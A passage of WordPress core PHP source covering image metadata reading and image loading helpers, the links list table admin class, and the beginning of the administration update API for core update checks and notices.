				&& ! defined( 'WP_RUN_CORE_TESTS' )
			) {
				$iptc = iptcparse( $info['APP13'] );
			} else {
				// Silencing notice and warning is intentional. See https://core.trac.wordpress.org/ticket/42480
				$iptc = @iptcparse( $info['APP13'] );
			}

			if ( ! is_array( $iptc ) ) {
				$iptc = array();
			}

			// Headline, "A brief synopsis of the caption".
			if ( ! empty( $iptc['2#105'][0] ) ) {
				$meta['title'] = trim( $iptc['2#105'][0] );
				/*
				* Title, "Many use the Title field to store the filename of the image,
				* though the field may be used in many ways".
				*/
			} elseif ( ! empty( $iptc['2#005'][0] ) ) {
				$meta['title'] = trim( $iptc['2#005'][0] );
			}

			if ( ! empty( $iptc['2#120'][0] ) ) { // Description / legacy caption.
				$caption = trim( $iptc['2#120'][0] );

				mbstring_binary_safe_encoding();
				$caption_length = strlen( $caption );
				reset_mbstring_encoding();

				if ( empty( $meta['title'] ) && $caption_length < 80 ) {
					// Assume the title is stored in 2:120 if it's short.
					$meta['title'] = $caption;
				}

				$meta['caption'] = $caption;
			}

			if ( ! empty( $iptc['2#110'][0] ) ) { // Credit.
				$meta['credit'] = trim( $iptc['2#110'][0] );
			} elseif ( ! empty( $iptc['2#080'][0] ) ) { // Creator / legacy byline.
				$meta['credit'] = trim( $iptc['2#080'][0] );
			}

			if ( ! empty( $iptc['2#055'][0] ) && ! empty( $iptc['2#060'][0] ) ) { // Created date and time.
				$meta['created_timestamp'] = strtotime( $iptc['2#055'][0] . ' ' . $iptc['2#060'][0] );
			}

			if ( ! empty( $iptc['2#116'][0] ) ) { // Copyright.
				$meta['copyright'] = trim( $iptc['2#116'][0] );
			}

			if ( ! empty( $iptc['2#025'][0] ) ) { // Keywords array.
				$meta['keywords'] = array_values( $iptc['2#025'] );
			}
		}
	}

	$exif = array();

	/**
	 * Filters the image types to check for exif data.
	 *
	 * @since 2.5.0
	 *
	 * @param int[] $image_types Array of image types to check for exif data. Each value
	 *                           is usually one of the `IMAGETYPE_*` constants.
	 */
	$exif_image_types = apply_filters( 'wp_read_image_metadata_types', array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) );

	if ( is_callable( 'exif_read_data' ) && in_array( $image_type, $exif_image_types, true ) ) {
		// Don't silence errors when in debug mode, unless running unit tests.
		if ( defined( 'WP_DEBUG' ) && WP_DEBUG
			&& ! defined( 'WP_RUN_CORE_TESTS' )
		) {
			$exif = exif_read_data( $file );
		} else {
			// Silencing notice and warning is intentional. See https://core.trac.wordpress.org/ticket/42480
			$exif = @exif_read_data( $file );
		}

		if ( ! is_array( $exif ) ) {
			$exif = array();
		}

		$exif_description = '';
		$exif_usercomment = '';
		if ( ! empty( $exif['ImageDescription'] ) ) {
			$exif_description = trim( $exif['ImageDescription'] );
		}

		if ( ! empty( $exif['COMPUTED']['UserComment'] ) ) {
			$exif_usercomment = trim( $exif['COMPUTED']['UserComment'] );
		}

		if ( $exif_description ) {
			mbstring_binary_safe_encoding();
			$description_length = strlen( $exif_description );
			reset_mbstring_encoding();
			if ( empty( $meta['title'] ) && $description_length < 80 ) {
				// Assume the title is stored in ImageDescription.
				$meta['title'] = $exif_description;
			}

			// If both user comments and description are present.
			if ( empty( $meta['caption'] ) && $exif_description && $exif_usercomment ) {
				if ( ! empty( $meta['title'] ) && $exif_description === $meta['title'] ) {
					$caption = $exif_usercomment;
				} else {
					if ( $exif_description === $exif_usercomment ) {
						$caption = $exif_description;
					} else {
						$caption = trim( $exif_description . ' ' . $exif_usercomment );
					}
				}
				$meta['caption'] = $caption;
			}

			if ( empty( $meta['caption'] ) && $exif_usercomment ) {
				$meta['caption'] = $exif_usercomment;
			}

			if ( empty( $meta['caption'] ) ) {
				$meta['caption'] = $exif_description;
			}
		} elseif ( empty( $meta['caption'] ) && $exif_usercomment ) {
			$meta['caption']    = $exif_usercomment;
			$description_length = strlen( $exif_usercomment );
			if ( empty( $meta['title'] ) && $description_length < 80 ) {
				$meta['title'] = trim( $exif_usercomment );
			}
		} elseif ( empty( $meta['caption'] ) && ! empty( $exif['Comments'] ) ) {
			$meta['caption'] = trim( $exif['Comments'] );
		}

		if ( empty( $meta['credit'] ) ) {
			if ( ! empty( $exif['Artist'] ) ) {
				$meta['credit'] = trim( $exif['Artist'] );
			} elseif ( ! empty( $exif['Author'] ) ) {
				$meta['credit'] = trim( $exif['Author'] );
			}
		}

		if ( empty( $meta['copyright'] ) && ! empty( $exif['Copyright'] ) ) {
			$meta['copyright'] = trim( $exif['Copyright'] );
		}
		if ( ! empty( $exif['FNumber'] ) && is_scalar( $exif['FNumber'] ) ) {
			$meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 );
		}
		if ( ! empty( $exif['Model'] ) ) {
			$meta['camera'] = trim( $exif['Model'] );
		}
		if ( empty( $meta['created_timestamp'] ) && ! empty( $exif['DateTimeDigitized'] ) ) {
			$meta['created_timestamp'] = wp_exif_date2ts( $exif['DateTimeDigitized'] );
		}
		if ( ! empty( $exif['FocalLength'] ) ) {
			$meta['focal_length'] = (string) $exif['FocalLength'];
			if ( is_scalar( $exif['FocalLength'] ) ) {
				$meta['focal_length'] = (string) wp_exif_frac2dec( $exif['FocalLength'] );
			}
		}
		if ( ! empty( $exif['ISOSpeedRatings'] ) ) {
			$meta['iso'] = is_array( $exif['ISOSpeedRatings'] ) ? reset( $exif['ISOSpeedRatings'] ) : $exif['ISOSpeedRatings'];
			$meta['iso'] = trim( $meta['iso'] );
		}
		if ( ! empty( $exif['ExposureTime'] ) ) {
			$meta['shutter_speed'] = (string) $exif['ExposureTime'];
			if ( is_scalar( $exif['ExposureTime'] ) ) {
				$meta['shutter_speed'] = (string) wp_exif_frac2dec( $exif['ExposureTime'] );
			}
		}
		if ( ! empty( $exif['Orientation'] ) ) {
			$meta['orientation'] = $exif['Orientation'];
		}
	}

	foreach ( array( 'title', 'caption', 'credit', 'copyright', 'camera', 'iso' ) as $key ) {
		if ( $meta[ $key ] && ! seems_utf8( $meta[ $key ] ) ) {
			$meta[ $key ] = utf8_encode( $meta[ $key ] );
		}
	}

	foreach ( $meta['keywords'] as $key => $keyword ) {
		if ( ! seems_utf8( $keyword ) ) {
			$meta['keywords'][ $key ] = utf8_encode( $keyword );
		}
	}

	$meta = wp_kses_post_deep( $meta );

	/**
	 * Filters the array of meta data read from an image's exif data.
	 *
	 * @since 2.5.0
	 * @since 4.4.0 The `$iptc` parameter was added.
	 * @since 5.0.0 The `$exif` parameter was added.
	 *
	 * @param array  $meta       Image meta data.
	 * @param string $file       Path to image file.
	 * @param int    $image_type Type of image, one of the `IMAGETYPE_XXX` constants.
	 * @param array  $iptc       IPTC data.
	 * @param array  $exif       EXIF data.
	 */
	return apply_filters( 'wp_read_image_metadata', $meta, $file, $image_type, $iptc, $exif );
}

/**
 * Validates that file is an image.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test if valid image.
 * @return bool True if valid image, false if not valid image.
 */
function file_is_valid_image( $path ) {
	$size = wp_getimagesize( $path );
	return ! empty( $size );
}

/**
 * Validates that file is suitable for displaying within a web page.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test.
 * @return bool True if suitable, false if not suitable.
 */
function file_is_displayable_image( $path ) {
	$displayable_image_types = array( IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_BMP, IMAGETYPE_ICO, IMAGETYPE_WEBP, IMAGETYPE_AVIF );

	$info = wp_getimagesize( $path );
	if ( empty( $info ) ) {
		$result = false;
	} elseif ( ! in_array( $info[2], $displayable_image_types, true ) ) {
		$result = false;
	} else {
		$result = true;
	}

	/**
	 * Filters whether the current image is displayable in the browser.
	 *
	 * @since 2.5.0
	 *
	 * @param bool   $result Whether the image can be displayed. Default true.
	 * @param string $path   Path to the image.
	 */
	return apply_filters( 'file_is_displayable_image', $result, $path );
}

/**
 * Loads an image resource for editing.
 *
 * @since 2.9.0
 *
 * @param int          $attachment_id Attachment ID.
 * @param string       $mime_type     Image mime type.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'full'.
 * @return resource|GdImage|false The resulting image resource or GdImage instance on success,
 *                                false on failure.
 */
function load_image_to_edit( $attachment_id, $mime_type, $size = 'full' ) {
	$filepath = _load_image_to_edit_path( $attachment_id, $size );
	if ( empty( $filepath ) ) {
		return false;
	}

	switch ( $mime_type ) {
		case 'image/jpeg':
			$image = imagecreatefromjpeg( $filepath );
			break;
		case 'image/png':
			$image = imagecreatefrompng( $filepath );
			break;
		case 'image/gif':
			$image = imagecreatefromgif( $filepath );
			break;
		case 'image/webp':
			$image = false;
			if ( function_exists( 'imagecreatefromwebp' ) ) {
				$image = imagecreatefromwebp( $filepath );
			}
			break;
		default:
			$image = false;
			break;
	}

	if ( is_gd_image( $image ) ) {
		/**
		 * Filters the current image being loaded for editing.
		 *
		 * @since 2.9.0
		 *
		 * @param resource|GdImage $image         Current image.
		 * @param int              $attachment_id Attachment ID.
		 * @param string|int[]     $size          Requested image size. Can be any registered image size name, or
		 *                                        an array of width and height values in pixels (in that order).
		 */
		$image = apply_filters( 'load_image_to_edit', $image, $attachment_id, $size );

		if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) {
			imagealphablending( $image, false );
			imagesavealpha( $image, true );
		}
	}

	return $image;
}

/**
 * Retrieves the path or URL of an attachment's attached file.
 *
 * If the attached file is not present on the local filesystem (usually due to replication plugins),
 * then the URL of the file is returned if `allow_url_fopen` is supported.
 *
 * @since 3.4.0
 * @access private
 *
 * @param int          $attachment_id Attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'full'.
 * @return string|false File path or URL on success, false on failure.
 */
function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
	$filepath = get_attached_file( $attachment_id );

	if ( $filepath && file_exists( $filepath ) ) {
		if ( 'full' !== $size ) {
			$data = image_get_intermediate_size( $attachment_id, $size );

			if ( $data ) {
				$filepath = path_join( dirname( $filepath ), $data['file'] );

				/**
				 * Filters the path to an attachment's file when editing the image.
				 *
				 * The filter is evaluated for all image sizes except 'full'.
				 *
				 * @since 3.1.0
				 *
				 * @param string       $path          Path to the current image.
				 * @param int          $attachment_id Attachment ID.
				 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
				 *                                    an array of width and height values in pixels (in that order).
				 */
				$filepath = apply_filters( 'load_image_to_edit_filesystempath', $filepath, $attachment_id, $size );
			}
		}
	} elseif ( function_exists( 'fopen' ) && ini_get( 'allow_url_fopen' ) ) {
		/**
		 * Filters the path to an attachment's URL when editing the image.
		 *
		 * The filter is only evaluated if the file isn't stored locally and `allow_url_fopen` is enabled on the server.
		 *
		 * @since 3.1.0
		 *
		 * @param string|false $image_url     Current image URL.
		 * @param int          $attachment_id Attachment ID.
		 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
		 *                                    an array of width and height values in pixels (in that order).
		 */
		$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
	}

	/**
	 * Filters the returned path or URL of the current image.
	 *
	 * @since 2.9.0
	 *
	 * @param string|false $filepath      File path or URL to current image, or false.
	 * @param int          $attachment_id Attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
}

/**
 * Copies an existing image file.
 *
 * @since 3.4.0
 * @access private
 *
 * @param int $attachment_id Attachment ID.
 * @return string|false New file path on success, false on failure.
 */
function _copy_image_file( $attachment_id ) {
	$dst_file = get_attached_file( $attachment_id );
	$src_file = $dst_file;

	if ( ! file_exists( $src_file ) ) {
		$src_file = _load_image_to_edit_path( $attachment_id );
	}

	if ( $src_file ) {
		$dst_file = str_replace( wp_basename( $dst_file ), 'copy-' . wp_basename( $dst_file ), $dst_file );
		$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

		/*
		 * The directory containing the original file may no longer
		 * exist when using a replication plugin.
		 */
		wp_mkdir_p( dirname( $dst_file ) );

		if ( ! copy( $src_file, $dst_file ) ) {
			$dst_file = false;
		}
	} else {
		$dst_file = false;
	}

	return $dst_file;
}
<?php
/**
 * List Table API: WP_Links_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying links in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Links_List_Table extends WP_List_Table {

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'plural' => 'bookmarks',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_links' );
	}

	/**
	 * @global int    $cat_id
	 * @global string $s
	 * @global string $orderby
	 * @global string $order
	 */
	public function prepare_items() {
		global $cat_id, $s, $orderby, $order;

		wp_reset_vars( array( 'action', 'cat_id', 'link_id', 'orderby', 'order', 's' ) );

		$args = array(
			'hide_invisible' => 0,
			'hide_empty'     => 0,
		);

		if ( 'all' !== $cat_id ) {
			$args['category'] = $cat_id;
		}
		if ( ! empty( $s ) ) {
			$args['search'] = $s;
		}
		if ( ! empty( $orderby ) ) {
			$args['orderby'] = $orderby;
		}
		if ( ! empty( $order ) ) {
			$args['order'] = $order;
		}

		$this->items = get_bookmarks( $args );
	}

	/**
	 */
	public function no_items() {
		_e( 'No links found.' );
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions           = array();
		$actions['delete'] = __( 'Delete' );

		return $actions;
	}

	/**
	 * @global int $cat_id
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		global $cat_id;

		if ( 'top' !== $which ) {
			return;
		}
		?>
		<div class="alignleft actions">
			<?php
			$dropdown_options = array(
				'selected'        => $cat_id,
				'name'            => 'cat_id',
				'taxonomy'        => 'link_category',
				'show_option_all' => get_taxonomy( 'link_category' )->labels->all_items,
				'hide_empty'      => true,
				'hierarchical'    => 1,
				'show_count'      => 0,
				'orderby'         => 'name',
			);

			echo '<label class="screen-reader-text" for="cat_id">' . get_taxonomy( 'link_category' )->labels->filter_by_item . '</label>';

			wp_dropdown_categories( $dropdown_options );

			submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			?>
		</div>
		<?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array(
			'cb'         => '<input type="checkbox" />',
			'name'       => _x( 'Name', 'link name' ),
			'url'        => __( 'URL' ),
			'categories' => __( 'Categories' ),
			'rel'        => __( 'Relationship' ),
			'visible'    => __( 'Visible' ),
			'rating'     => __( 'Rating' ),
		);
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'name'    => array( 'name', false, _x( 'Name', 'link name' ), __( 'Table ordered by Name.' ), 'asc' ),
			'url'     => array( 'url', false, __( 'URL' ), __( 'Table ordered by URL.' ) ),
			'visible' => array( 'visible', false, __( 'Visible' ), __( 'Table ordered by Visibility.' ) ),
			'rating'  => array( 'rating', false, __( 'Rating' ), __( 'Table ordered by Rating.' ) ),
		);
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'name'.
	 */
	protected function get_default_primary_column_name() {
		return 'name';
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item The current link object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		?>
		<input type="checkbox" name="linkcheck[]" id="cb-select-<?php echo $link->link_id; ?>" value="<?php echo esc_attr( $link->link_id ); ?>" />
		<label for="cb-select-<?php echo $link->link_id; ?>">
			<span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. %s: Link name. */
			printf( __( 'Select %s' ), $link->link_name );
			?>
			</span>
		</label>
		<?php
	}

	/**
	 * Handles the link name column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_name( $link ) {
		$edit_link = get_edit_bookmark_link( $link );
		printf(
			'<strong><a class="row-title" href="%s" aria-label="%s">%s</a></strong>',
			$edit_link,
			/* translators: %s: Link name. */
			esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $link->link_name ) ),
			$link->link_name
		);
	}

	/**
	 * Handles the link URL column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_url( $link ) {
		$short_url = url_shorten( $link->link_url );
		echo "<a href='$link->link_url'>$short_url</a>";
	}

	/**
	 * Handles the link categories column output.
	 *
	 * @since 4.3.0
	 *
	 * @global int $cat_id
	 *
	 * @param object $link The current link object.
	 */
	public function column_categories( $link ) {
		global $cat_id;

		$cat_names = array();
		foreach ( $link->link_category as $category ) {
			$cat = get_term( $category, 'link_category', OBJECT, 'display' );
			if ( is_wp_error( $cat ) ) {
				echo $cat->get_error_message();
			}
			$cat_name = $cat->name;
			if ( (int) $cat_id !== $category ) {
				$cat_name = "<a href='link-manager.php?cat_id=$category'>$cat_name</a>";
			}
			$cat_names[] = $cat_name;
		}
		echo implode( ', ', $cat_names );
	}

	/**
	 * Handles the link relation column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_rel( $link ) {
		echo empty( $link->link_rel ) ? '<br />' : $link->link_rel;
	}

	/**
	 * Handles the link visibility column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_visible( $link ) {
		if ( 'Y' === $link->link_visible ) {
			_e( 'Yes' );
		} else {
			_e( 'No' );
		}
	}

	/**
	 * Handles the link rating column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_rating( $link ) {
		echo $link->link_rating;
	}

	/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item        Link object.
	 * @param string $column_name Current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		/**
		 * Fires for each registered custom link column.
		 *
		 * @since 2.1.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param int    $link_id     Link ID.
		 */
		do_action( 'manage_link_custom_column', $column_name, $link->link_id );
	}

	public function display_rows() {
		foreach ( $this->items as $link ) {
			$link                = sanitize_bookmark( $link );
			$link->link_name     = esc_attr( $link->link_name );
			$link->link_category = wp_get_link_cats( $link->link_id );
			?>
		<tr id="link-<?php echo $link->link_id; ?>">
			<?php $this->single_row_columns( $link ); ?>
		</tr>
			<?php
		}
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item        Link being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for links, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		$edit_link = get_edit_bookmark_link( $link );

		$actions           = array();
		$actions['edit']   = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
		$actions['delete'] = sprintf(
			'<a class="submitdelete" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
			wp_nonce_url( "link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ),
			/* translators: %s: Link name. */
			esc_js( sprintf( __( "You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ),
			__( 'Delete' )
		);

		return $this->row_actions( $actions );
	}
}
<?php
/**
 * WordPress Administration Update API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Selects the first update version from the update_core option.
 *
 * @since 2.7.0
 *
 * @return object|array|false The response from the API on success, false on failure.
 */
function get_preferred_from_update_core() {
	$updates = get_core_updates();

	if ( ! is_array( $updates ) ) {
		return false;
	}

	if ( empty( $updates ) ) {
		return (object) array( 'response' => 'latest' );
	}

	return $updates[0];
}

/**
 * Gets available core updates.
 *
 * @since 2.7.0
 *
 * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too,
 *                       set $options['available'] to false to skip not-dismissed updates.
 * @return array|false Array of the update objects on success, false on failure.
 */
function get_core_updates( $options = array() ) {
	$options = array_merge(
		array(
			'available' => true,
			'dismissed' => false,
		),
		$options
	);

	$dismissed = get_site_option( 'dismissed_update_core' );

	if ( ! is_array( $dismissed ) ) {
		$dismissed = array();
	}

	$from_api = get_site_transient( 'update_core' );

	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) {
		return false;
	}

	$updates = $from_api->updates;
	$result  = array();

	foreach ( $updates as $update ) {
		if ( 'autoupdate' === $update->response ) {
			continue;
		}

		if ( array_key_exists( $update->current . '|' . $update->locale, $dismissed ) ) {
			if ( $options['dismissed'] ) {
				$update->dismissed = true;
				$result[]          = $update;
			}
		} else {
			if ( $options['available'] ) {
				$update->dismissed = false;
				$result[]          = $update;
			}
		}
	}

	return $result;
}

/**
 * Gets the best available (and enabled) Auto-Update for WordPress core.
 *
 * If there's 1.2.3 and 1.3 on offer, it'll choose 1.3 if the installation allows it, else, 1.2.3.
 *
 * @since 3.7.0
 *
 * @return object|false The core update offering on success, false on failure.
 */
function find_core_auto_update() {
	$updates = get_site_transient( 'update_core' );

	if ( ! $updates || empty( $updates->updates ) ) {
		return false;
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	$auto_update = false;
	$upgrader    = new WP_Automatic_Updater();

	foreach ( $updates->updates as $update ) {
		if ( 'autoupdate' !== $update->response ) {
			continue;
		}

		if ( ! $upgrader->should_update( 'core', $update, ABSPATH ) ) {
			continue;
		}

		if ( ! $auto_update || version_compare( $update->current, $auto_update->current, '>' ) ) {
			$auto_update = $update;
		}
	}

	return $auto_update;
}

/**
 * Gets and caches the checksums for the given version of WordPress.
 *
 * @since 3.7.0
 *
 * @param string $version Version string to query.
 * @param string $locale  Locale to query.
 * @return array|false An array of checksums on success, false on failure.
 */
function get_core_checksums( $version, $locale ) {
	$http_url = 'http://api.wordpress.org/core/checksums/1.0/?' . http_build_query( compact( 'version', 'locale' ), '', '&' );
	$url      = $http_url;

	$ssl = wp_http_supports( array( 'ssl' ) );

	if ( $ssl ) {
		$url = set_url_scheme( $url, 'https' );
	}

	$options = array(
		'timeout' => wp_doing_cron() ? 30 : 3,
	);

	$response = wp_remote_get( $url, $options );

	if ( $ssl && is_wp_error( $response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: Support forums URL. */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);

		$response = wp_remote_get( $http_url, $options );
	}

	if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
		return false;
	}

	$body = trim( wp_remote_retrieve_body( $response ) );
	$body = json_decode( $body, true );

	if ( ! is_array( $body ) || ! isset( $body['checksums'] ) || ! is_array( $body['checksums'] ) ) {
		return false;
	}

	return $body['checksums'];
}

/**
 * Dismisses core update.
 *
 * @since 2.7.0
 *
 * @param object $update
 * @return bool
 */
function dismiss_core_update( $update ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$dismissed[ $update->current . '|' . $update->locale ] = true;

	return update_site_option( 'dismissed_update_core', $dismissed );
}

/**
 * Undismisses core update.
 *
 * @since 2.7.0
 *
 * @param string $version
 * @param string $locale
 * @return bool
 */
function undismiss_core_update( $version, $locale ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$key       = $version . '|' . $locale;

	if ( ! isset( $dismissed[ $key ] ) ) {
		return false;
	}

	unset( $dismissed[ $key ] );

	return update_site_option( 'dismissed_update_core', $dismissed );
}

/**
 * Finds the available update for WordPress core.
 *
 * @since 2.7.0
 *
 * @param string $version Version string to find the update for.
 * @param string $locale  Locale to find the update for.
 * @return object|false The core update offering on success, false on failure.
 */
function find_core_update( $version, $locale ) {
	$from_api = get_site_transient( 'update_core' );

	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) {
		return false;
	}

	$updates = $from_api->updates;

	foreach ( $updates as $update ) {
		if ( $update->current === $version && $update->locale === $locale ) {
			return $update;
		}
	}

	return false;
}

/**
 * Returns core update footer message.
 *
 * @since 2.3.0
 *
 * @param string $msg
 * @return string
 */
function core_update_footer( $msg = '' ) {
	if ( ! current_user_can( 'update_core' ) ) {
		/* translators: %s: WordPress version. */
		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
	}

	$cur = get_preferred_from_update_core();

	if ( ! is_object( $cur ) ) {
		$cur = new stdClass();
	}

	if ( ! isset( $cur->current ) ) {
		$cur->current = '';
	}

	if ( ! isset( $cur->response ) ) {
		$cur->response = '';
	}

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$is_development_version = preg_match( '/alpha|beta|RC/', $wp_version );

	if ( $is_development_version ) {
		return sprintf(
			/* translators: 1: WordPress version number, 2: URL to WordPress Updates screen. */
			__( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ),
			get_bloginfo( 'version', 'display' ),
			network_admin_url( 'update-core.php' )
		);
	}

	switch ( $cur->response ) {
		case 'upgrade':
			return sprintf(
				'<strong><a href="%s">%s</a></strong>',
				network_admin_url( 'update-core.php' ),
				/* translators: %s: WordPress version. */
				sprintf( __( 'Get Version %s' ), $cur->current )
			);

		case 'latest':
		default:
			/* translators: %s: WordPress version. */
			return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
	}
}

/**
 * Returns core update notification message.
 *
 * @since 2.3.0
 *
 * @global string $pagenow The filename of the current screen.
 * @return void|false
 */
function update_nag() {
	global $pagenow;

	if ( is_multisite() && ! current_user_can( 'update_core' ) ) {
		return false;
	}

	if ( 'update-core.php' === $pagenow ) {
		return;
	}

	$cur = get_preferred_from_update_core();

	if ( ! isset( $cur->response ) || 'upgrade' !== $cur->response ) {
		return false;
	}

	$version_url = sprintf(
		/* translators: %s: WordPress version. */
		esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
		sanitize_title( $cur->current )
	);

	if ( current_user_can( 'update_core' ) ) {
		$msg = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: New WordPress version, 3: URL to network admin, 4: Accessibility text. */
			__( '<a href="%1$s">WordPress %2$s</a> is available! <a href="%3$s" aria-label="%4$s">Please update now</a>.' ),
			$version_url,
			$cur->current,
			network_admin_url( 'update-core.php' ),
			esc_attr__( 'Please update WordPress now' )
		);
	} else {
		$msg = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: New WordPress version. */
			__( '<a href="%1$s">WordPress %2$s</a> is available! Please notify the site administrator.' ),
			$version_url,
			$cur->current
		);
	}

	wp_admin_notice(
		$msg,
		array(
			'type'               => 'warning',
			'additional_classes' => array( 'update-nag', 'inline' ),
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * Displays WordPress version and active theme in the 'At a Glance' dashboard widget.
 *
 * @since 2.5.0
 */
function update_right_now_message() {
	$theme_name = wp_get_theme();

	if ( current_user_can( 'switch_themes' ) ) {
		$theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme_name );
	}

	$msg = '';

	if ( current_user_can( 'update_core' ) ) {
		$cur = get_preferred_from_update_core();

		if ( isset( $cur->response ) && 'upgrade' === $cur->response ) {
			$msg .= sprintf(
				'<a href="%s" class="button" aria-describedby="wp-version">%s</a> ',
				network_admin_url( 'update-core.php' ),
				/* translators: %s: WordPress version number, or 'Latest' string. */
				sprintf( __( 'Update to %s' ), $cur->current ? $cur->current : __( 'Latest' ) )
			);
		}
	}

	/* translators: 1: Version number, 2: Theme name. */
	$content = __( 'WordPress %1$s running %2$s theme.' );

	/**
	 * Filters the text displayed in the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 4.4.0
	 *
	 * @param string $content Default text.
	 */
	$content = apply_filters( 'update_right_now_text', $content );

	$msg .= sprintf( '<span id="wp-version">' . $content . '</span>', get_bloginfo( 'version', 'display' ), $theme_name );

	echo "<p id='wp-version-message'>$msg</p>";
}

/**
 * Retrieves plugins with updates available.
 *
 * @since 2.9.0
 *
 * @return array
 */
function get_plugin_updates() {
	$all_plugins     = get_plugins();
	$upgrade_plugins = array();
	$current         = get_site_transient( 'update_plugins' );

	foreach ( (array) $all_plugins as $plugin_file => $plugin_data ) {
		if ( isset( $current->response[ $plugin_file ] ) ) {
			$upgrade_plugins[ $plugin_file ]         = (object) $plugin_data;
			$upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ];
		}
	}

	return $upgrade_plugins;
}

/**
 * Adds a callback to display update information for plugins with updates available.
 *
 * @since 2.9.0
 */
function wp_plugin_update_rows() {
